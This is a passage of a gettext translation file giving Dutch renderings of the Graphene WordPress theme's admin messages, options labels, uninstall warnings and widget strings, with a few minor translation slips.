latest posts to display in homepage panes must be an integer." msgstr "FOUT: De waarde voor het aantal laatste berichten om weer te geven in de homepage panelen moet een geheel getal zijn." # @ graphene #: admin/options-validator.php:93 msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes." msgstr "FOUT: Ongeldige categorie geselecteerd voor de laatste berichten om te laten zien van in de homepage panelen." # @ graphene #: admin/options-validator.php:107 msgid "ERROR: Invalid option for the comments option." msgstr "FOUT: Ongeldige keuze voor de commentaar optie." # @ graphene #: admin/options-validator.php:116 msgid "ERROR: Invalid option for the child page listings." msgstr "FOUT: Ongeldige keuze voor de onderliggende pagina weergave." # @ graphene #: admin/options-validator.php:134 msgid "ERROR: Bad URL entered for the custom feed URL." msgstr "FOUT: Foutieve URL ingevoerd voor de aangepaste feed." # @ graphene #: admin/options-validator.php:138 msgid "ERROR: Bad URL entered for the Twitter URL." msgstr "FOUT: Foutieve URL ingevoerd voor Twitter." # @ graphene #: admin/options-validator.php:140 msgid "ERROR: Bad URL entered for the Facebook URL." msgstr "FOUT: Foutieve URL ingevoerd voor Facebook." # @ graphene #: admin/options-validator.php:152 msgid "ERROR: Bad URL entered for the social media icon URL." msgstr "FOUT: Foutieve URL ingevoerd voor het sociale media icoon." # @ graphene #: admin/options-validator.php:153 msgid "ERROR: Bad URL entered for the social media URL." msgstr "FOUT: Foutieve URL ingevoerd voor de sociale media." # @ graphene #: admin/options-validator.php:169 msgid "ERROR: Invalid option for the social sharing buttons location." msgstr "FOUT: Ongeldige keuze voor de sociaal sharing knoppen locatie." # @ graphene #: admin/options-validator.php:229 msgid "ERROR: Invalid option for the Search box location." msgstr "FOUT: Ongeldige keuze voor de Zoeken locatie." # @ graphene #: admin/options-validator.php:234 msgid "ERROR: Invalid option for the column mode." msgstr "FOUT: Ongeldige keuze voor kolom modus." # @ graphene #: admin/options-validator.php:235 msgid "ERROR: Invalid option for the bbPress column mode." msgstr "ERROR: Ongeldige optie in bbPress kolom instellingen." # @ graphene #: admin/options-validator.php:242 #, fuzzy, php-format msgid "ERROR: Invalid width for %s. Width value must be positive number without units." msgstr "ERROR: Ongeldige breedte voor %s. Breedte waardes moeten een positieve numerieke waarde bevatten zonder decimalen." # @ graphene #: admin/options-validator.php:250 msgid "ERROR: Invalid option for the post date display." msgstr "FOUT: Ongeldige keuze voor de bericht datum weergave." # @ graphene #: admin/options-validator.php:316 msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value." msgstr "FOUT: Het aantal kolommen om weergegeven in de voettekst widget moet een een geheel getal te zijn." # @ graphene #: admin/options-validator.php:321 msgid "ERROR: The width of the submenu must be a an integer value." msgstr "FOUT: De breedte van het submenu moet een een geheel getal te zijn." # @ graphene #: admin/options-validator.php:329 msgid "ERROR: Bad URL entered for the favicon URL." msgstr "FOUT: Foutieve URL ingevoerd voor het favicon." # @ graphene #: admin/options-validator.php:344 msgid "ERROR: Invalid action hook selected widget action hooks." msgstr "FOUT: Ongeldige action hook geselecteerd voor de widget action hooks." # @ graphene #: admin/options.php:81 #: admin/uninstall.php:23 msgid "Uninstall Graphene" msgstr "Graphene verwijderen" # @ graphene #: admin/options.php:82 msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted." msgstr "Weet je zeker dat je het Graphene thema wilt verwijderen? Alle instellingen van het thema worden uit de database verwijdert." # @ graphene #: admin/options.php:83 msgid "This action is not reversible." msgstr "De actie kan niet ongedaan gemaakt worden." # @ graphene #: admin/options.php:87 #: admin/options.php:339 msgid "Uninstall Theme" msgstr "Thema verwijderen" # @ graphene #: admin/options.php:101 msgid "Graphene Theme Options" msgstr "Graphene thema instellingen" # @ graphene #: admin/options.php:103 msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages." msgstr "Dit zijn globale instellingen voor het thema. Sommige van deze instellingen kunnen overschreven in de individuele berichten en pagina's." # @ graphene #: admin/options.php:111 msgid "General" msgstr "Globaal" # @ graphene #: admin/options.php:112 msgid "Display" msgstr "Weergave" # @ graphene #: admin/options.php:113 msgid "Advanced" msgstr "Geavanceerd" # @ graphene #: admin/options.php:152 msgid "Save Options" msgstr "Instellingen opslaan" # @ graphene #: admin/options.php:164 msgid "Need help?" msgstr "Hulp nodig?" # @ graphene #: admin/options.php:168 msgid "Documentation Wiki" msgstr "Documentatie wiki" # @ graphene #: admin/options.php:169 msgid "Support Forum" msgstr "Support forum" # @ graphene #: admin/options.php:171 #, php-format msgid "Also, find out how you can %s." msgstr "Ook erachter te komen hoe je %s." # @ graphene #: admin/options.php:171 msgid "support the Graphene theme" msgstr "het Graphene thema kan ondersteunen" # @ graphene #: admin/options.php:178 msgid "Support the developer" msgstr "Ondersteun de ontwikkelaar" # @ graphene #: admin/options.php:181 msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development." msgstr "Ontwikkeling van dit geweldige thema heeft veel tijd en inspanning gekost, maanden en maanden van continu en vrijwillig, onbetaald werk. Als je dit een leuk thema vind, of als je het gebruikt voor commerciële websites, overweeg dan een donatie aan de ontwikkelaar voor toekomstige updates en uitbreidingen." # @ graphene #: admin/options.php:195 msgid "Graphene Theme news" msgstr "Graphene thema nieuwsberichten" # @ graphene #: admin/options.php:206 msgid "No news items." msgstr "Geen nieuwsberichten." # @ graphene #: admin/options.php:223 msgid "Graphene Usage Survey" msgstr "Graphene gebruikers enquête" # @ graphene #: admin/options.php:226 msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous." msgstr "Help ons om je beter te leren kennen. Neem nu deel aan Graphene thema enquête! Alle stemmen helpen mee om het thema te verbeteren. Het onderzoek is zeer kort en is volledig anoniem." # @ graphene #: admin/options.php:227 msgid "Take the survey" msgstr "Meedoen aan de enquête" # @ graphene #: admin/options.php:237 msgid "Add-ons and plugins" msgstr "Add-ons en plugins" # @ graphene #: admin/options.php:240 msgid "Add-ons" msgstr "Add-ons" # @ graphene #: admin/options.php:241 msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability." msgstr "Add-ons zijn niet meegeleverd met het thema, maar kunnen afzonderlijk worden geïnstalleerd om de thema's mogelijkheden uit te breiden." # @ graphene #: admin/options.php:245 msgid "Installed" msgstr "Geïnstalleerd" # @ graphene #: admin/options.php:246 #: admin/options.php:265 msgid "Not installed" msgstr "Niet geïnstalleerd" # @ graphene #: admin/options.php:246 msgid "Learn more" msgstr "Meer informatie" # @ graphene #: admin/options.php:247 msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices." msgstr "Mobiele extensie speciaal ontwikkeld voor optimale weergave van uw site op mobiele apparaten, zoals de iPhone en Android-apparaten." # @ graphene #: admin/options.php:250 msgid "Plugins" msgstr "Plugins" # @ graphene #: admin/options.php:251 msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them." msgstr "De hier vermelde plugins worden standaard ondersteund door het thema. Het enige wat je hoeft te doen is het installeren en activeren van de plug-ins." # @ graphene #: admin/options.php:264 msgid "Activated" msgstr "Geactiveerd" # @ graphene #: admin/options.php:277 msgid "Options Presets" msgstr "Voorgedefinieerde instellingen" # @ graphene #: admin/options.php:280 msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below." msgstr "De standaardinstellingen voor het thema zijn vooraf geconfigureerd voor gebruik in blogs. Als je dit thema voornamelijk gebuikt voor een normale website, of als je de instellingen wilt herstellen naar de standaard waarden, dan kan je een van de voorgedefinieerde instellingen kiezen." # @ graphene #: admin/options.php:281 msgid "Note that you can still configure the individual settings after you apply any preset." msgstr "Het is nog steeds mogelijk om alle instellingen afzonderlijk te configureren na het kiezen van een van de voorgedefinieerde instellingen." # @ graphene #: admin/options.php:286 msgid "Select Options Preset" msgstr "Voorgedefinieerde instellingen" # @ graphene #: admin/options.php:289 msgid "Normal website" msgstr "Normale website" # @ graphene #: admin/options.php:292 msgid "Reset to default settings" msgstr "Standaard instellingen herstellen" # @ graphene #: admin/options.php:297 msgid "Apply Options Preset" msgstr "Voorgedefinieerde instellingen toepassen" # @ graphene #: admin/options.php:307 msgid "Import/export theme options" msgstr "Importeer/exporteer thema instellingen" # @ graphene #: admin/options.php:310 msgid "Import" msgstr "Importeren" # @ graphene #: admin/options.php:313 msgid "Import Theme options" msgstr "Importeer thema instellingen" # @ graphene #: admin/options.php:315 msgid "Export" msgstr "Exporteren" # @ graphene #: admin/options.php:319 msgid "Export Theme options" msgstr "Exporteer thema instellingen" # @ graphene #: admin/options.php:329 msgid "Uninstall theme" msgstr "Thema verwijderen" # @ graphene #: admin/options.php:332 msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore." msgstr "<strong>Voorzichtig!</strong> Bij het verwijderen van dit thema worden ook alle thema instellingen uit de database verwijdert. Voer dit alleen uit als je beslist het thema niet meer te gebruiken." # @ graphene #: admin/options.php:333 msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page." msgstr "Als je alleen een ander thema wilt proberen, is er geen reden om dit thema te verwijderen. Activeer dan het andere thema in het Weergave > Thema admin pagina." # @ graphene #: admin/options.php:334 msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there." msgstr "Let op: het verwijderen van dit thema <strong>niet resulteert</strong> in het verwijderen van de bestanden van het thema. Voor het verwijderen van de bestanden uit dit thema, ga je naar Weergave > Thema's en verwijder hier het thema." # @ graphene #: admin/options.php:351 msgid "The preview will be updated when the \"Save Options\" button above is clicked." msgstr "Het voorbeeld wordt vernieuwd nadat de knop \"Instellingen opslaan\" hierboven is geklikt." # @ graphene #: admin/uninstall.php:24 #, php-format msgid "Theme uninstalled. Redirecting to %s" msgstr "Thema gedeïnstalleerd.Je wordt doorgestuurd naar %s" # @ graphene #: admin/user.php:7 msgid "Graphene-specific User Profile Information" msgstr "Graphene specifieke Gebruikersprofiel informatie" # @ graphene #: admin/user.php:8 msgid "The settings defined here are used only with the Graphene theme." msgstr "De hier gedefineerde instellingen worden alleen gebruikt door the Graphene thema." # @ graphene #: admin/user.php:12 msgid "Author profile image URL" msgstr "Auteur profiel afbeelding URL" # @ graphene #: admin/user.php:13 msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used." msgstr "Je kan de afbeelding instellen die moet worden weergegeven bij het profiel van de auteur in de pagina van de auteur. Indien er hier geen URL is gedefinieerd, zal de <a href=\"http://www.gravatar.com\"> Gravatar </ a> van de auteur worden gebruikt." # @ graphene #: admin/user.php:17 msgid "Please enter the full URL (including <code>http://</code>) to your profile image." msgstr "Voer de URL naar uw profiel afbeelding in (inclusief <code>http://</code>)." # @ graphene #: admin/user.php:17 msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>." msgstr "<strong>Belangrijk: </strong>Afbeelding breedte moet kleiner of gelijk zijn aan <strong>150px</strong>." # @ graphene #: admin/js/admin.js.php:47 msgid "Social Media name" msgstr "Social media koppeling naam" # @ graphene #: admin/js/admin.js.php:50 msgid "Name of the social media, e.g. LinkedIn, etc." msgstr "Naam van de social media koppeling. Bijvoorbeeld LinkedIn enzovoorts." # @ graphene #: admin/js/admin.js.php:54 msgid "Social Media title" msgstr "Social media titel" # @ graphene #: admin/js/admin.js.php:57 msgid "Title for the social media, leave empty for generated title." msgstr "Titel voor sociale media koppeling, als deze leeg is wordt een titel gegenereerd." # @ graphene #: admin/js/admin.js.php:61 msgid "Social Media profile URL" msgstr "Social media profiel URL" # @ graphene #: admin/js/admin.js.php:64 msgid "URL to your page for the social media." msgstr "URL naar jou pagina voor deze social media koppeling" # @ graphene #: admin/js/admin.js.php:68 msgid "Social Media icon URL" msgstr "Social media icoon URL" # @ graphene #: admin/js/admin.js.php:71 #, php-format msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead." msgstr "URL naar de sociale media pictogram. Let op: het thema maakt gebruik van de %s icoon voor de sociale media pictogrammen. Gelieve geen hotlinks te gebruiken op de site. Het is aan te raden de pictogrammen die je nodig hebt te downloaden en daarna te uploaden naar uw server." # @ graphene #. translators: %1$s is the comment date, %2$s is the comment time #: includes/theme-comments.php:34 #, php-format msgid "%1$s at %2$s" msgstr "%1$s om %2$s" # @ graphene #: includes/theme-comments.php:36 msgid "Edit comment" msgstr "Reactie bewerken" # @ graphene #: includes/theme-comments.php:40 msgid "Reply" msgstr "Reageren" # @ graphene #: includes/theme-comments.php:51 msgid "Your comment is awaiting moderation." msgstr "Uw commentaar wacht op moderatie." # @ graphene #: includes/theme-comments.php:76 msgid "Name:" msgstr "Naam:" # @ graphene #: includes/theme-comments.php:81 msgid "Email:" msgstr "Email:" # @ graphene #: includes/theme-comments.php:86 msgid "Website:" msgstr "Website:" # @ graphene #: includes/theme-comments.php:100 msgid "Message:" msgstr "Bericht:" # @ graphene #: includes/theme-functions.php:72 #, php-format msgid "Follow %s on Twitter" msgstr "Volg %s op Twitter" # @ graphene #: includes/theme-functions.php:75 #, php-format msgid "Visit %s's Facebook page" msgstr "Bezoek %s zijn Facebook pagina" # @ graphene #: includes/theme-functions.php:97 #, php-format msgid "Visit %1$s's %2$s page" msgstr "Bezoek %1$s zijn %2$s pagina" # @ graphene #: includes/theme-loop.php:85 msgid "Continue reading »" msgstr "Lees verder »" # @ graphene #: includes/theme-loop.php:137 msgid "Older posts «" msgstr "Oudere berichten «" # @ graphene #: includes/theme-loop.php:138 msgid "» Newer posts" msgstr "» Nieuwere berichten" # @ graphene #: includes/theme-loop.php:140 msgid "Next page »" msgstr "Volgende pagina »" # @ graphene #: includes/theme-loop.php:141 msgid "« Previous page" msgstr "« Vorige pagina" # @ graphene #: includes/theme-loop.php:221 msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>" msgstr "<strong>ERROR: Het post ID is vereist bij aanroep van de functie graphene_get_post_image() om de bericht afbeelding op te vragen.</strong>" # @ graphene #: includes/theme-menu.php:65 msgid "Home" msgstr "Home" # @ graphene #: includes/theme-panes.php:93 msgid "Read more" msgstr "Lees verder" # @ graphene #: includes/theme-setup.php:90 msgid "Header Menu" msgstr "Hoofd menu" # @ graphene #: includes/theme-setup.php:91 msgid "Secondary Menu" msgstr "Secundair menu" # @ graphene #: includes/theme-setup.php:92 msgid "Footer Menu" msgstr "Onderkant menu" # @ graphene #: includes/theme-setup.php:125 msgid "Header image by Syahir Hakim" msgstr "Hoofd afbeelding door Syahir Hakim" # @ graphene #: includes/theme-setup.php:129 msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu" msgstr "Dit is de standaard afbeelding voor het Graphene thema, bijgesneden uit een afbeelding door Quantin Houyoux op sxc.hu" # @ graphene #: includes/theme-setup.php:133 #: includes/theme-setup.php:137 #: includes/theme-setup.php:141 #: includes/theme-setup.php:145 #: includes/theme-setup.php:149 msgid "Header image cropped from image by Ilco at sxc.hu" msgstr "Hoofd afbeelding bijgesneden uit een afbeelding door Quantin Houyoux op sxc.hu" # @ graphene #: includes/theme-setup.php:204 msgid "Sidebar Widget Area" msgstr "Zijbalk Widget gebied" # @ graphene #: includes/theme-setup.php:206 msgid "The first sidebar widget area (will always be displayed on the right hand side)." msgstr "Het eerste zijbalk widget gebied (zal altijd getoond worden aan de rechterkant)." # @ graphene #: includes/theme-setup.php:213 msgid "Sidebar Two Widget Area" msgstr "Widget gebied voor de tweede zijbalk" # @ graphene #: includes/theme-setup.php:215 msgid "The second sidebar widget area (will always be displayed on the left hand side)." msgstr "Het tweede zijbalk widget gebied (zal altijd getoond worden aan de linkerkant)." # @ graphene #: includes/theme-setup.php:222 msgid "Footer Widget Area" msgstr "Voettekst widget gebied" # @ graphene #: includes/theme-setup.php:224 msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Het voettekst widget gebied. Leeg laten om niet te tonen. Stel het aantal kolommen om weer te geven in op de thema weergave pagina." # @ graphene #: includes/theme-setup.php:239 msgid "Front Page Sidebar Widget Area" msgstr "Startpagina zijbalk widget gebied." # @ graphene #: includes/theme-setup.php:241 msgid "The first sidebar widget area that will only be displayed on the front page." msgstr "Het widget gebied van de eerste zijbalk dat alleen wordt weergegeven op de startpagina." # @ graphene #: includes/theme-setup.php:248 msgid "Front Page Sidebar Two Widget Area" msgstr "Widget gebied voor de tweede zijbalk op de startpagina." # @ graphene #: includes/theme-setup.php:250 msgid "The second sidebar widget area that will only be displayed on the front page." msgstr "Het widget gebied voor de tweede zijbalk dat alleen wordt weergegeven op de startpagina." # @ graphene #: includes/theme-setup.php:259 msgid "Front Page Footer Widget Area" msgstr "Startpagina voettekst widget gebied" # @ graphene #: includes/theme-setup.php:261 msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Het voettekst widget gebied dat alleen wordt weergegeven op de startpagina. Leeg laten om niet te tonen. Stel het aantal kolommen om weer te geven in op de thema weergave pagina." # @ graphene #: includes/theme-setup.php:271 msgid "Header Widget Area" msgstr "Hoofd Widget gebied" # @ graphene #: includes/theme-setup.php:273 msgid "The header widget area." msgstr "Het hoofd widget gebied" # @ graphene #: includes/theme-setup.php:290 #, php-format msgid "Dynamically added widget area. This widget area is attached to the %s action hook." msgstr "Dynamisch toegevoegd widget gebied. Dit widget gebied is gekoppeld aan de %s action hook." # @ graphene #: includes/theme-slider.php:115 #: includes/theme-slider.php:143 msgid "View full post" msgstr "Volledige bericht bekijken" # @ graphene #: includes/theme-widgets.php:14 msgid "Display the latest Twitter status updates." msgstr "Geef de laatste status updates van Twitter weer." # @ graphene #: includes/theme-widgets.php:46 msgid "Loading tweets..." msgstr "Tweets worden geladen..." # @ graphene #: includes/theme-widgets.php:50 msgid "Follow me on Twitter" msgstr "Volg mij op Twitter" # @ graphene #: includes/theme-widgets.php:60 msgid "follower" msgstr "volger" # @ graphene #: includes/theme-widgets.php:61 msgid "followers" msgstr "volgers" # @ graphene #: includes/theme-widgets.php:93 msgid "Latest tweets" msgstr "Laatste tweets" # @ graphene #: includes/theme-widgets.php:100 msgid "Title:" msgstr "Titel:" # @ graphene #: includes/theme-widgets.php:104 msgid "Twitter Username:" msgstr "Twitter gebruikersnaam:" # @ graphene #: includes/theme-widgets.php:108 msgid "Number of tweets to display:" msgstr "Aantal tweets te tonen:" # @ graphene #: includes/theme-widgets.php:112 msgid "Show followers count" msgstr "Toon volgers aantallen" # @ graphene #: includes/theme-widgets.php:116 msgid "Open links in new window" msgstr "Links openen in een nieuwe pagina"